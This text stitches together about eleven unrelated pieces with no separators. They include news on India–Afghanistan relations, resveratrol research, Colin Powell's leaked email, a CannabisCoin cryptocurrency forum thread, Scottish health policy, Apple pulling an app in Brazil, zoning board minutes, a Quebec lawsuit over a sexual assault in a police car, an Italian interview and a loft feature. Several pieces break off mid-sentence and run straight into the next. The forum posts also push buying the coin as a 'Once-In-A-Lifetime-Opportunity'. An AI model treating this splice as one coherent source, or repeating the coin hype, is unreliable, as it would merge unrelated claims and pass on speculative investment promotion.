But for many Afghans that have witnessed their own President Ashraf Ghani's failed attempt at outreach to Pakistan, Modi and India remain the main attraction in terms of the country's strategic orientation. A poll from last year showed three out of four Afghans see India as their preferred leader in Asia.
Relations with India, both in the areas of security and civilian aid have been vital for Afghanistan in the post-Taliban era when Pakistan has proved a less constant source of friendship.
Only last month during his trip to Delhi, Hanif Atmar, Afghanistan's national security adviser (NSA) received a pledge from India to provide Afghanistan with four MI-25 attack helicopters.
Also in November, Indian Foreign Secretary Jaishankar and Afghan Deputy Foreign Minister Hekmat Khalil Karzai discussed ways to increase bilateral cooperation that has seen India offer over $2.5 billion in aid to Kabul and has been expanded since the signing of a 2012 strategic cooperation agreement.
For both Pakistan and India, Afghanistan is an object of strategic struggle, serving as a land bridge between South Asia and Central Asia while also connecting South Asia to West Asia.
Some of the projects ongoing between Kabul and New Delhi have obvious geopolitical implications.
One such project is the Zaranj-Dilaram road which connects western Afghanistan's Nimroz province to the Chabahar port in Iran. The road will help facilitate trade exchanges between India and Afghanistan while reducing Afghanistan's dependency on the Pakistani port of Karachi.
As Modi visited, Afghan social media circles poured out their love for India, at the obvious expense of the country's other significant neighbour.
The growth in India-Afghanistan relations in the post-Taliban era was most notable under President Hamid Karzai who famously offered Indian investors “the red carpet while others will get a grey carpet.”
Karzai himself was a beneficiary of an exchange program that allowed Afghan students to study in India in the 1970s.
Ghani, who came to power after a disputed election last year, initially took a different tack, prioritising relations with Pakistan, whose ex-leader belatedly admitted nurturing the Taliban as part of their bid for ‘strategic depth’ in the country in an interview last year.
The bid for better relations was without success, and the Taliban's attacks in the country have only grown more fierce, even as the movement itself has splintered.
Since then Ghani has pivoted back towards India, to the audible relief of those that feared his overtures to Islamabad were doomed from the outset.
Yet while Modi's visit led to a frenzy of appreciation among the chattering classes in Kabul, there is a sense his country could do still more for its conflict-torn neighbour.
For one thing, New Delhi can use the leverage it has built up through aid and investment in strategic infrastructure to push for social reform in Afghanistan, especially in areas where India has experience.
These include but are not limited to: empowerment of women, handling of ethnic and religious minorities and broadening civic participation.
India's supporters argue that its hand in Afghanistan is strong enough to bargain for values as well as security.The debate over the workings of an anti-ageing chemical in red wine called resveratrol resembles a rally between Rafael Nadal and Novak Djokovic. The latest scud comes today, from a scientist who has shown the benefits of resveratrol in lab organisms and who started a drug company to exploit them in humans.
Resveratrol, which is abundant in the skins of grapes, spares mice from the harmful effects of a fatty diet, and work in yeast, fruitflies and roundworms has suggested that the chemical lengthens the lives of these organisms by activating proteins called sirtuins.
Competing work has challenged the assertion that resveratrol directly activates sirtuins (see ‘Health benefits of red wine chemical unclear‘) and raised the possibility that the chemical’s anti-ageing effects rely on other proteins (see ‘Questions hang over red wine chemical‘). Meanwhile, recent research now questions whether activating sirtuins makes worms and flies live longer (see ‘Longevity genes challenged)’.
My colleague Heidi Ledford’s fantastic 2010 feature ‘Much ado about ageing‘ offers a fuller run-down of the debate.
David Sinclair, a molecular biologist at Harvard Medical School in Boston, and his team have struck back in a paper published online today in Cell Metabolism showing that mice that lack a pivotal sirtuin gene, SIRT1, do not enjoy many of the metabolic benefits of resveratrol.
Sinclair co-founded Cambridge, Massachusetts-based Sirtris Pharmaceuticals, which the drug giant GlaxoSmithKline bought for US$720 million in 2008. The company stopped developing resveratrol as a drug, but molecules believed to activate SIRT1 are being tested in humans against diabetes and other ageing-related diseases.
Sinclair’s latest experiment is an obvious one. If resveratrol needs SIRT1 to improve health, then animals lacking the gene should not get any benefits from the chemical. His lab published that experiment in yeast in 2003. But mice lacking SIRT1 die in the womb, or they are born with developmental defects such as blindness. To get around that problem, Sinclair’s team engineered “conditional knockout” mice whereby SIRT1 can be inactivated in adulthood. “It took us two weeks to do the experiment in yeast, and five years in mouse, but finally we’re there,” he says.
Work with the mice would seem to confirm a role for SIRT1 in resveratrol’s benefits. In normal mice, resveratrol combated the effects of a high-fat diet by boosting the efficiency of energy-generating organelles called mitochondria in skeletal muscle tissue. This effect vanished in adult mice without a working version of SIRT1.
Yet SIRT1 wasn’t responsible for all the beneficial effects of resveratrol in Sinclair’s study. Resveratrol stabilized the blood glucose levels of both normal and SIRT1-lacking mice on fatty diets. The chemical also improved liver health in mice without SIRT1.
Sinclair also contends that a lot the confusion over how resveratrol works comes down to dosage. At very high doses it binds other proteins besides SIRT1, he says. “Resveratrol is a dirty, dirty molecule, very non-specific.” For instance, a signalling protein called AMPK is also important to resveratrol’s beneficial effects on metabolism. Sinclair found that low doses of resveratrol boosted AMPK levels in various cells that expressed SIRT1, but not cells without the sirtuin. Much higher doses of resveratrol, however, activated AMPK irrespective of whether the cells expressed SIRT1.
Jay Chung, an endocrinologist at the National Heart Lung and Blood Institute in Bethesda, Maryland, who earlier this year proposed that resveratrol works by blocking proteins called phospho-diesterases, questions Sinclair’s interpretation. SIRT1 and AMPK both rise in response to resveratrol treatment, so “you don’t know what’s the chicken and what’s the egg,” Chung says. “This question may never get answered to everyone’s full satisfaction. ”
Matt Kaeberlein, a biochemist at the University of Washington in Seattle who has questioned whether resveratrol acts on SIRT1 in the past, writes via e-mail: “Testing the effects of resveratrol in the SIRT1 knockout is a good experiment, and this study supports the model that resveratrol requires SIRT1 to modulate AMPK and mitochondrial function, at least at lower doses. Interpretation is complicated by the fact that we don’t really know how loss of SIRT1 alters the overall metabolic network, and it doesn’t rule out the possibility that this is still an indirect effect.”
It’s hard not to ask if this debate amounts to little more than academic rubber-necking, but Sinclair disagrees. Spelling out just how resveratrol lengthens lifespan and improves health is crucial, he says, “because we want to know how to make better molecules than resveratrol. And unless we know the targets, that is extremely difficult.”
Image via Wikimedia CommonsWASHINGTON (AP) — In a private email exchange last year leaked this week by hackers, former Secretary of State Colin Powell discussed Israel’s nuclear weapons capability with a friend, saying the country has 200 warheads.
Though Israel is widely believed to have developed nukes decades ago, it has never declared itself to be a nuclear state. The existence of its weapons program is considered classified information by both the Israeli and U.S. governments.
Powell, a retired Army general who has served as White House national security adviser and chairman of the Joint Chiefs of Staff, told The Associated Press on Friday through a spokeswoman he was referring to public estimates of Israel’s nukes.
“Gen. Powell has not been briefed or had any knowledge from U.S. sources on the existence and or size of an Israeli nuclear capability,” the statement said. “He like many people believe that there may be a capability and the number 200 has been speculated upon in open sources.” It added: “This email was written 10 years after he left government and has not received briefings on classified matters.”
Powell, 79, would not say whether he still retains |
by the way, don’t doubt. Who is empowered to pronounce our existence good? Certainly not man himself. We should remember Jean-Paul Sartre on this point: “We can’t admit that a man might pronounce a sentence on Man.” The only being who can pronounce it is the One who declared at the last day of creation that whatever He had created was not only “good” but, taken in its whole, “very good.”
According to Brague, a secular society must eventually abandon secularism, or cease to exist as a society. Secularism will end not with a bang, but with a “meh.”
A frustrating aspect of debates that arise out of such claims is that so many people assume that if not secularism, then the rule of priests. I would rather live in secularism for a thousand years than endure the rule of priests for a day. That is not the point. Brague’s point is not a theological one, but a political one. He’s saying that a society that does not constitute itself around a metaphysics that give its people a sense of transcendence will not be able to hold on to the confidence it needs to perpetuate itself. Despite the blessings of secularism — including keeping the civic peace — secularism is a slow-acting poison on the body politic, one that works to dissolve it over time.ared
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NewbieActivity: 48Merit: 0 Re: [ANN] CannabisCoin [CANN][X11][Official][420] Developments & Discussions. September 24, 2014, 09:06:34 AM #2085 Quote from: CryptoTV on September 24, 2014, 07:51:56 AM Quote from: Stenull on September 24, 2014, 07:40:00 AM Is there any chance that there will be any seed producer involved?
Buying seeds with cann would be killer!
I'm thinking that this will eventually be available as service. I'm sure D9 has a plan for seeds, it seems so logical.
I'm thinking that this will eventually be available as service. I'm sure D9 has a plan for seeds, it seems so logical.
I'm sure you can buy ANYTHING in a dispensary with your CANN, but don't expect all to be pegged 1:1
Maybe seeds could be cheaper than a certain strain that is pegged 1:1, surely you won't want to pay 1:1 for your seeds.
So maybe the seeds will go for 0.5 CANN per Gram.
Then maybe we have Cannabis Oil which is more expensive, so the dispensary will sell to you in CANN for 1.5 CANN per Gram.
Again, these are just examples, but hope you get what I mean.
If you start to imagine the total revenue generated by the Cannabis Industry per year, and you compare each year's growth, you will soon realize that we are at the start of a SUPER Exponential Growth.
As MORE states legalize Cannabis and MORE dispensaries accept the CANN peg and CANN as a payment because to date, many dispensaries still face banking problem, you will know that you have a WINNER in CannabisCoin!
Good job to the CANN Team for presenting to us this Once-In-A-Lifetime-Opportunity!!! Buy MORE CannabisCoin TODAY!
http://i.imgur.com/ciki4tI.jpg
I'm sure you can buy ANYTHING in a dispensary with your CANN, but don't expect all to be pegged 1:1Maybe seeds could be cheaper than a certain strain that is pegged 1:1, surely you won't want to pay 1:1 for your seeds.So maybe the seeds will go for 0.5 CANN per Gram.Then maybe we have Cannabis Oil which is more expensive, so the dispensary will sell to you in CANN for 1.5 CANN per Gram.Again, these are just examples, but hope you get what I mean.If you start to imagine the total revenue generated by the Cannabis Industry per year, and you compare each year's growth, you will soon realize that we are at the start of aAsstates legalize Cannabis anddispensaries accept the CANN peg and CANN as a payment because to date, many dispensaries still face banking problem, you will know that you have aGood job to the CANN Team for presenting to us this!!!
elius
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NewbieActivity: 15Merit: 0 Re: [ANN] CannabisCoin [CANN][X11][Official][420] Developments & Discussions. September 24, 2014, 10:07:40 AM #2086 Quote from: CryptoTV on September 24, 2014, 03:46:45 AM You are right, double down win does not pay right. Please play at your own risk until I can get this straightened out. please give me your player number and I will refund you some of your CANN. I do apologize and will get this out to the dev promptly.
Edit 2: Splits are working as intended, only double down is effected.
that's exactly what i was tryin to say yesterday (100+ games), i had the same problem with the double button, it didn't work as it should've:
Quote from: elius on September 23, 2014, 02:01:27 PM
anyways, is the "double button" working? it didn't seem to be functioning correctly, i didn't see a difference while using it but it might be me.
aaand this is my first post here, many thanks to Deltanine and the other devs for the great job they are doing
damn 1.117 W/L ratio but i still managed to lose everything hahahaaand this is my first post here, many thanks to Deltanine and the other devs for the great job they are doing
the game was still fun, i hadn't played BJ in years after the bad loss in my first attempt at 18yo in a casino hahah that's exactly what i was tryin to say yesterday (100+ games), i had the same problem with the, it didn't work as it should've:the game was still fun, i hadn't played BJ in years after the bad loss in my first attempt at 18yo in a casino hahah
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Sr. MemberActivity: 474Merit: 250 Re: [ANN] CannabisCoin [CANN][X11][Official][420] Developments & Discussions. September 24, 2014, 11:03:17 AM #2087 Quote from: ShadowBits on September 22, 2014, 09:56:31 PM Quote from: Cannacoin on September 22, 2014, 09:21:53 PM Quote from: fartbags on September 22, 2014, 06:59:23 AM
Except for the fact that there are 3 other marijuana coins (POT, DOPE and CCN) and there will probably be 20 more marijuana coins coming out next year. Also unlike bitcoin, no one is interested in working together. So much greed going on. You don't see much open source 3rd party development going on exclusively for this coin. You only see the third party stuff that randomly adds in 20 good coins to their service.
Now people try to act like these coins are companies. Anyone with something valuable to add to a coin starts their own coin.
This reminds me more of Potcoin than Bitcoin. A tiny group of people who do everything and no one new wanting to join in.
This coin will be really good. Definitely support this coin. This coin has only been out for like 6 months. It'll take years to get as big as bitcoin. I'm thinking there will end up being quite a few of these coins which all together share a marketcap as big as bitcoin one day.
Fartbags, the CCN team is internally discussing rebranding and partnering with CannabisCoin right now. We would become the largest 3rd party development team for CannabisCoin. CCN would be rebranded as investment shares. Your investment in CCN would essentially support CANN development.
We would pay dividends to CCN share holders and you would become part of our PoS network.
Our platform would be exclusively for CANN
Here's a few of our current websites and projects that we can bring to the table to partner with CANN:
http://nwgt.tv/
http://toketalk.net/
http://nwgt.org/
https://www.youtube.com/user/NWGreenThumb
https://bitcointalk.org/index.php?topic=740903.msg8909630#msg8909630
Here's how it works:
CCN rebrands as the Cannabis Community Network, and CCN will becomes shares in our decentralized development company. You would be able to invest in CannabisCoin development either through donating CANN or investing in CCN shares.
Buying CCN shares would result in dividends from advertising paid to holders of CCN.
The CCN network is moving to Proof-of-stake 2.0, so you would be essentially become stakeholders in our decentralized company and CANN would become our exclusive partner.
We hope to discuss this with DeltaNineDev asap.
, the CCN team is internally discussing rebranding and partnering with CannabisCoin right now. We would become the largest 3rd party development team for CannabisCoin. CCN would be rebranded as investment shares. Your investment in CCN would essentially support CANN development.We would pay dividends to CCN share holders and you would become part of our PoS network.Here's a few of our current websites and projects that we can bring to the table to partner with CANN:Here's how it works:CCN rebrands as the Cannabis Community Network, and CCN will becomes shares in our decentralized development company. You would be able to invest in CannabisCoin development either through donating CANN or investing in CCN shares.Buying CCN shares would result in dividends from advertising paid to holders of CCN.The CCN network is moving to Proof-of-stake 2.0, so you would be essentially become stakeholders in our decentralized company and CANN would become our exclusive partner.We hope to discuss this with DeltaNineDev asap.
Thats actually a pretty neat idea. Could create a really good eco-system and collaboration between coins with similar goals.
Thats actually a pretty neat idea. Could create a really good eco-system and collaboration between coins with similar goals.
idea is good but it will benefit the cann not the price of ccn idea is good but it will benefit the cann not the price of ccn
CannabisCoinDev
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The Official CannabisCoin Team [CANN]
Hero MemberActivity: 490Merit: 500The Official CannabisCoin Team [CANN] Re: [ANN] CannabisCoin [CANN][X11][Official][420] ANDROID WALLET RELEASED! September 24, 2014, 11:27:46 AM
Last edit: September 24, 2014, 12:22:31 PM by CannabisCoinDev #2088 INTRODUCING THE CANNABISCOIN ANDROID WALLET
(Click for Video)
Let's thank Andreas Schildbach (Orig APP Dev) & Esotericizm for his work, he's been added to main post as "CannabisCoin Contributor" and will help the community regarding the app.
If you find a bug, or want a feature let us know.
It's LIVE and ready for download (CLICK)
~DeltaNine Let's thank(Orig APP Dev) &for his work, he's been added to main post as "CannabisCoin Contributor" and will help the community regarding the app.If you find a bug, or want a feature let us know.~DeltaNine
The Coin that's 100% Backed by Marijuana Cannabis!
Trade symbol [CANN] - YES WE CANN! Cannabis Coin Team - Community run, NOT Company run!The Coin that's 100% Backed by Marijuana Cannabis! http://CannabisCoin.net Trade symbol [CANN] - YES WE CANN!
FredDag
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Sr. MemberActivity: 437Merit: 250 Re: [ANN] CannabisCoin [CANN][X11][Official][420] ANDROID WALLET RELEASED! September 24, 2014, 11:54:50 AM
Last edit: September 24, 2014, 12:14:37 PM by FredDag #2091 Quote from: CannabisCoinDev on September 24, 2014, 11:27:46 AM INTRODUCING THE CANNABISCOIN ANDROID WALLET
Looks good... Testing now, and getting an error on my laptop when I try to request payment via the QR Code scan....
Android Wallet Generated URI: cannabiscoin:CQ4qJYgH5ce6zQhYQKx5R5PyLjdBaXFSbQ?amount=10
(posted in FireFox address bar) - Correctly prompts to use CannabisCoin Wallet for cannabiscoin: protocol.
Then...
Windows7 Task Bar Error: "Cannabiscoin URI Handling. URI cannot be parsed! This can be caused by invalid CannabisCoin address or malformed URI parameters. "
QT Wallet version v0.8.6.3-g14426ce-beta
Edit To Add:
The problem above appears to be limited to the 'cannabisoin:' protocol handling between the web browser & QT wallet.
If I copy the android wallet address directly into the QT wallet, then sending works fine (very fast)
Great Stuff Looks good... Testing now, and getting an error on my laptop when I try to request payment via the QR Code scan....Android Wallet Generated URI: cannabiscoin:CQ4qJYgH5ce6zQhYQKx5R5PyLjdBaXFSbQ?amount=10(posted in FireFox address bar) - Correctly prompts to use CannabisCoin Wallet forprotocol.Then...Windows7 Task Bar Error: "Cannabiscoin URI Handling. URI cannot be parsed! This can be caused by invalid CannabisCoin address or malformed URI parameters. "QT Wallet version v0.8.6.3-g14426ce-betaEdit To Add:The problem above appears to be limited to the 'cannabisoin:' protocol handling between the web browser & QT wallet.If I copy the android wallet address directly into the QT wallet, then sending works fine (very fast)Great Stuff
FredDag
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Sr. MemberActivity: 437Merit: 250 Re: [ANN] CannabisCoin [CANN][X11][Official][420] ANDROID WALLET RELEASED! September 24, 2014, 12:22:51 PM #2093 Quote from: mrbigmugs on September 24, 2014, 12:02:54 PM
Worked flawless for me and almost instant. I sent from my desktop wallet straight to my phone and it transferred in less than 5 seconds!!
Did you send direct from your wallet, by manually entering the recipient address?
Or via the cannabiscoin: protocol URI copied into the web browser address bar?
If you used the cannabiscoin: protocol URI.... could you tell me what QT Wallet version you are using? Did you send direct from your wallet, by manually entering the recipient address?Or via the cannabiscoin: protocol URI copied into the web browser address bar?If you used the cannabiscoin: protocol URI.... could you tell me what QT Wallet version you are using?First Minister Nicola Sturgeon has confirmed there will be a major trauma centre in Aberdeen.
Clinicians' concerns had been raised at a meeting of NHS Grampian's board last month after the Scottish government announced the decision to have four such centres was under review.
Ms Sturgeon said: "There is no dubiety, there will be a major trauma centre in Aberdeen."
She said there would be also be centres in Dundee, Glasgow and Edinburgh.
In response, Labour said the "apparent U-turn" had come at the last minute.
The Conservatives said voters may ask why it had taken until the final days of the election for the "unequivocal commitment".
And the Liberal Democrats said no-one in the north east would believe what was being said until the trauma centre was "actually in place".Following a recent ruling that Apple would have ten days to remove the anonymous social app Secret from its Brazilian App Store, Apple has complied with the order. The justification for the removal, according to a source close to the situation, can be found in section 22.1 of the App Store Guidelines:
Apps must comply with all legal requirements in any location where they are made available to users. It is the developer’s obligation to understand and conform to all local laws
As noted by the judge, the Brazilian constitution prohibits anonymous freedom of expression, which essentially makes Secret and other apps like it illegal with that country.
Per Article 5, Section IV of the Constitution of Brazil:
IV. the expression of thought is free, and anonymity is forbidden;
There have not yet been any reports of the app being remotely disabled from users’ phones—a capability Apple has never exercised before—though doing so was part of the judge’s order. Whether Apple will comply with that half of the injunction is yet to be seen.Water may stop or seriously delay a 28-unit condo proposed on Firefighter Lane.
BZA’s Ty Cole: Does the city have an adequate stormwater system?
Does the city have an adequate stormwater system? Greg Cobb: No, it doesn’t. Walter Schoel Engineering is studying the system and will make a report.
No, it doesn’t. Walter Schoel Engineering is studying the system and will make a report. Ty Cole: Will the city fix it?
Will the city fix it? Greg Cobb: When we get a report we may or may not fix it.
And so a long hearing on whether to award substantial variances to a 22-unit, 3-story condominium ended in a postponement. Residents of 10 households strenuously opposed the development planned on the corner of Firefighter Lane and Huntington Road, telling tales of repeated flooding on nearby Lancaster, wet basements, sinkholes and rainwater lapping at their doors. Attempts by the developer’s engineer to explain the workings of a water retention system fell on deaf ears, even to the board. By regulation, a development must insure that post-construction water runoff is no greater than before construction. But– if the city’s storm sewers are already not working, the condominium isn’t going to improve things, Cole said. And to residents: “This is where you have to push the city for answers.” See more, below
Members present: All- Beverly LeBoeuf, Matthew Foley (S), Brian Jarmon, vice chair, Lauren Gwaltney, chair, Ty Cole, and Stuart Roberts (S)
Absent: Andrew Marlin
Staff present: Donna Bridges, board clerk, Fred Goodwin, p-t planner, Zoning Supervisor Phil Turkett, and Greg Cobb, Building, Engineering and Zoning Department.
Audience attendance: 70
*Note on procedure: By state law, zoning variances granted by the 5-member board require a super majority of 4 members voting in the affirmative. To keep business moving in case of absences, the law provides two supernumerary members (S) to sit in and vote if needed. (The board clerk alternates their votes, which are not noted in the blog.) Variances expire in 180 days if a building permit isn’t obtained.
NEW BUSINESS:
Carried over a request for 4 large variances for a new house and accessory structure on East Hawthorne: An architect hired to design a new 2-story house and 2-story rear garage at 131 East Hawthorne Road argued the triangular lot shape created a hardship in observing the 10-foot required side setbacks (for lots 55 feet and over). Lot width at the front building line will be 58 feet, and only 52 feet at the rear of the house. The width at the rear of the lot, where the garage is sited, is only 44 feet across. With nearly 2/3 of the lot falling under 55 feet, the architect said the 10 foot setbacks were a hardship. He asks to encroach 5 feet into the right setback and 1 foot into the left for the new house, and to build the garage 5 feet into the right setback and 1 foot into the left. Regulation setbacks for a two-story garage are 10 feet all around.
The structures are still in the concept stage and board members studied the site drawings for a long time in silence.
“This is a big ask,” Mr. Cole finally said before suggesting the architect return with a more developed plan and drawings. Given the choice between accepting a likely negative vote or postponing to next month, the architect decided to wait.
Approved a significant front setback variance for an addition on Crest Drive: Landscape architect J. K. Terry is hired to re-design a new facade and add a front porch at 224 Crest Drive to improve its curb appeal. The front of the house is already sitting 3.2 feet into the 25-foot minimum setback at its closest point to the street, and the porch would put it over another 6 feet. (Although the minimum front setback is 25 feet, setbacks are determined by taking an average of houses in a 100-foot impact area.) Mr. Terry’s hardship is the current location of the house and the lack of other buildable space for a porch or deck because of the rear topography and woods. There were few questions about the project and the variance was approved.
Approved a side variance for a small addition planned on Highland Road: The wife of the couple living at 1010 Highland Road said they’re tired of having the washer and dryer in the kitchen and want to build a mud room for a laundry off the back right side of the house. The room would extend 2.9 feet into the required 9 foot setback, about the same distance as the air conditioner. The request was approved.
Approved with one dissent a 1-foot variance for a chimney on a new Edgewood house: The applicant building a new house on the corner lot at 221 Edgewood Boulevard asked for 1 foot variance to allow a chimney on the right side. Board members said the form wasn’t filled out completely. They also asked why the setbacks for the corner sides didn’t align with the houses on each street, as a new regulation requires. Mr. Cobb said the lot had been resurveyed prior to the new rule. The variance passed, with one dissent.
Voting no: Brian Jarmon
Approved front and side setback variances for an addition planned on Lake Ridge: Drake Homes made a successful case for getting a 12.4-foot front setback variance and a 1.4-foot left side variance to build a garage in front of the house at 1821 Lake Ridge Road. The drive to the existing carport behind the house is narrow due to the position of the house. The builder proposes adding a master bedroom addition in that space and rebuilding a garage on the front left side. The right side isn’t suitable because of drainage off the hillside. Ms. Gwaltney was concerned about the garage protruding farther than adjacent houses. However, even with the variance, the front will be 65.4 feet from the road, and the measure passed.
Allowed a developer to postpone variance requests on a 3-story condo proposal while substantial questions remain about future land use, stormwater capacity, traffic and eligible hardships for 30-foot setback variances: Murray Legg of Eyster/Legg development propose a 3-level, 28-unit condominium at 3019 and 3021 Firefighter Lane, zoned R-5, asking for 14-foot left and right side setback variances and 30-foot front setback variances on sides facing Firefighter Lane and Huntington Road. If granted, the variances would bring the building close to the street and lot lines. Mr. Legg’s presentation focused on the building as a “residential buffer” to the future commercial mixed-use projected for downtown, nearing Oxmoor Road. None of the 10 households objecting were concerned with commercial encroachment as much as stormwater issues, traffic, height/privacy, and loss of trees and green space.
Resident concerns:
A resident at 1802 Lancaster said she and two neighbors had experienced 5 flooding incidents since January 2017. The proposed site now is mostly green space with two small houses. Any more pavement would only worsen flooding, she said. “You’d need a boat.”
Four residents said the corner cannot absorb any more traffic, with one estimating up to 30 car accidents per year occurring on Oxmoor side streets between Firefighter Lane and U.S. 31. Patients and customers to the dermatology office and Alabama Outdoors gatherings already cause parking problems on side streets, they said. The proposed condo would have 56 parking spaces (2 per unit), concentrated on one busy corner. No traffic study had been completed.
Several residents objected to the building’s mass and height–35 feet average– which would be visible to surrounding houses after trees are removed for construction, they said. Condominium residents could look down into neighbors’ back yards.
One resident asked what “hardship” justified the extensive setback variances requested.
Developers respond: Mr. Legg reiterated that “development will come” to the area, and residents would be wise to maintain the corner as completely residential.
Rebuttle: Two residents argued persuasively that the project was premature, given the city’s drainage study underway, the lack of a traffic study, and the unfinished downtown master plan. Those themes were picked up by the board, who asked many of the same questions.
Board members respond: Mr. Cole was most concerned about staff acknowledging the city’s inadequate drainage system, with an engineering study of the problem still underway. He was also concerned that the project’s 56 parking spaces didn’t account for visitor parking, which would flow onto the side streets. He and others on the board wanted a traffic study. Finally, to the question of hardship, Mr. Legg said the expanded footprint satisfied the project’s financial requirements, namely, to follow the required setbacks would reduce the project from 30,000 square feet to 11,000 sf, he said. Financial concerns are not an eligible hardship for granting variances. There being so many questions and concerns, the board and Mr. Legg mutually agreed to a postponement to resolve them.A young woman from an Inuit village in northern Quebec is suing for $400,000 after she was left handcuffed in a police vehicle with a repeat sexual offender and sexually assaulted.
The woman, who was 17 years old at the time of the incident, says she has suffered post-traumatic stress since the September 2011 attack in Tasiujaq, a lakeside community west of Ungava Bay that is only accessible by airplane, snowmobile or boat.
The lawsuit, which names the officer involved as well as the local police service and the regional government, alleges "a serious lack of professionalism and gross negligence," on behalf of the Kativik regional police.
It also states the officer's actions "show an incredible lack of concern for the safety of the plaintiff."
Neither the Kativik regional government nor the police force will comment on the events, citing the ongoing court case.
Inexperienced officer
Police had been called to remove the woman, who had been drinking while visiting relatives, from the premises at the request of the homeowner.
According to civil lawsuit documents filed at Quebec Superior Court last fall and initially obtained by La Presse, the woman was handcuffed and put in the back of a police car with a man who had been arrested earlier for causing a disturbance at another residence.
The man, Joe Kritik, had already been convicted of four sexual assaults at the time and was listed on the sexual offender registry.
He was not handcuffed.
The lone officer responsible, who had been on the job less than a month and was not authorized to carry a handgun, left the two in the back of the vehicle while she gathered details about the young woman from the complainant.
'The plaintiff was unable to defend herself'
According to the court documents, the officer returned and found Kritik with his pants down on top of the woman. The young woman testified in court that she was sexually assaulted.
“The plaintiff was unable to defend herself, being handcuffed in her back and unable to leave the vehicle, the doors being locked,” the lawsuit claims.
The officer opened the door and pulled Kritik off her.
Both the young woman and Kritik were taken to the police station and put in different cells.
The lawsuit claims the same officer, the only one on duty at the time, slammed the cell door in the woman’s face, breaking her tooth. No rape kit was performed and the woman’s parents were not contacted.
Kritik eventually pleaded guilty to one count of sexual assault and was sentenced to 39 months.
The constable was suspended and later resigned. However, an internal investigation by the Kativik regional police Force cleared her of any criminal wrongdoing.shadow
«Tutto iniziò con la festa di diploma all’Enologico di Conegliano. Me ne occupai io e riuscì benissimo». Fu così che il diciottenne Luca Zaia, futuro ministro e adesso presidente leghista del Veneto, scoprì di avere notevoli doti di comunicazione. «Mi misi a organizzare feste, anche con due o tremila persone. Così le discoteche mi offrirono di lavorare per loro. Divenni pr, quando le pubbliche relazioni erano agli inizi in Italia. Negli anni Ottanta non c’erano happy hour o pub, i locali aprivano alle 9 di sera, poi alle 10, poi sempre più tardi. C’era l’house music e comparvero anche l’ecstasy e i rave party». Non c’è nulla di inedito, dice l’ex ragazzo diventato governatore, «i fenomeni di oggi arrivano da lì».
(Archivio) Zaia studiava veterinaria e reclutava giovani per il Manhattan di Godega di Sant’Urbano, il suo paese nel Trevigiano, ma anche per il Diamantik di Gaiarine, il Kolossal di Spresiano o il Desirèe a Caorle. «Eravamo in quattro, tutti universitari. Uno è diventato un grosso imprenditore, un altro un fiorista, il terzo un arredatore».
Per dodici anni Zaia ha battuto la provincia con la sua Citroen 2 cavalli e un’idea vincente. «Gli inviti! Adesso possono sembrare normali, ma allora fecero scalpore. Presi ispirazione dai volantini pubblicitari dei mercati rionali, quelli con i saldi. Non c’erano telefonini, né social network, i ragazzi dovevi andarteli a prendere uno per uno». Un’attività redditizia. «Si lavorava solo nel fine settimana, due tre giorni e guadagnavi quanto un impiegato. Mica male, e poi conoscevi tutti. Ancora oggi c’è sempre qualcuno che si avvicina e mi dice: ti ricordi di me?».
Anche trent’anni fa le discoteche finivano sulle prime pagine come luoghi di perdizione. «Era il periodo delle stragi del sabato sera, degli incidenti e delle mamme anti-rock. Partì tutto dalla riviera romagnola, chi si schiantava a Rimini dopo una serata faceva più notizia di un operaio che tornava dalla fabbrica. Vennero demonizzati i locali, si fecero le leggi per chiudere prima. Risultato: i ragazzi andavano a bere negli autogrill, quanto volevano e senza controlli».
Nel 1998, a 30 anni, Zaia diventa presidente della provincia di Treviso. Non è più un pr ma un politico, e torna davanti alle discoteche. «Mettevo le utilitarie sfasciate all’ingresso come monito, oppure facevo raccontare ai giovani costretti su una sedia a rotelle la loro storia. Ecco, perché non si fa una cosa simile anche per la droga?».
Non solo ecstasy o pillole, il problema è anche l’alcol, Zaia lo sa bene. «Mi ricordo che c’erano i ragazzi che ne abusavano, che si facevano la “bomba”. Li rivedo adesso, sono degli alcolizzati. Quando in discoteca capitava che qualcuno si ubriacasse chiamavamo i genitori. Nell’80 per cento dei casi arrivavano persone che stavano peggio dei figli, gli altri gli davano due ceffoni e li caricavano in macchina». Ci tiene a sottolineare che più che nelle discoteche bisogna guardare dentro casa. «Le droghe e gli altri abusi si combattono culturalmente, e le famiglie hanno il ruolo più importante, non possono pensare di delegare tutto alle istituzioni. Una volta si diceva ai figli di non accettare le caramelle dagli sconosciuti, mi chiedo quanti lo facciano ancora».
Zaia precisa di non essere mai stato «un discotecaro. Allora era un lavoro, oggi non ci vado». Ma non trova molta differenza tra i locali di allora e quelli di oggi. «I dj a volte sono sempre gli stessi, un po’ invecchiati. Trent’anni fa però la droga era legata all’immagine di un vagabondo che si faceva un buco su una panchina, adesso sembra che possa essere una cosa on-off, attacchi e stacchi, fai la serata e poi passa tutto. Non pensi che ti rovina i neuroni, ti manda in crisi respiratoria, ti fa esplodere il cuore. E poi i giovani di oggi hanno meno paura di una volta, noi eravamo molto più prudenti».
Solo una volta all’anno il governatore Zaia ritrova il suo vecchio mondo. «Ad ottobre c’è una serata dove si riuniscono tutti i ragazzi d’un tempo, dj, pr, gestori. È chiamata la “cena semolino”, per via dell’età dei partecipanti». Risate e ricordi, musica e progetti. «È un ambiente sano. Io non ho mai fatto uso di stupefacenti, né ho mai visto una pasticca. La stragrande maggioranza dei ragazzi va in discoteca con l’unico scopo di ascoltare musica, ballare e divertirsi. E i gestori, allora come oggi, hanno interesse a non avere porcherie nei loro locali. La morte di quei giovani è una cosa serissima, ma trovo ingiusto scaricare tutto sull’ultimo anello della catena».Mounted on the exposed brick wall of Dan Garrett’s Greensboro, North Carolina, loft is an old wooden mileage sign that reads “Providence 1.” It’s white with black hand-painted letters and an arrow pointing the way. The piece isn’t valuable. He found it years ago, gathering dust in a friend’s garage in Pleasant Garden, the farming community where Garrett grew up. But for Garrett, a veteran antiques dealer, it holds a different kind of value. Seeing it daily makes him feel connected to his place and his people. Besides, he says, “if there’s a sign pointing to providence, you might as well follow it.”
Fifteen years ago, something akin to providence led Garrett to buy a three-story turn-of-the-century grocery warehouse, sandwiched between downtown Greensboro’s main drag and the city’s rail yards. It was lonely back then. Downtown had been on the decline, and when he moved his antiques shop, the Farmer’s Wife, into the building’s ground floor and himself into the top two, it was as if he were also moving back to a time when shopkeepers reigned over Main Street—and lived above it, too. Ironically, by assuming an old-fashioned lifestyle, Garrett became a trendsetter. In the years since his move, loft living has become as popular in the South as it is in Manhattan, filling former warehouses and mills with residents rather than tobacco and textile machinery.
photo: Stacey Van Berkel
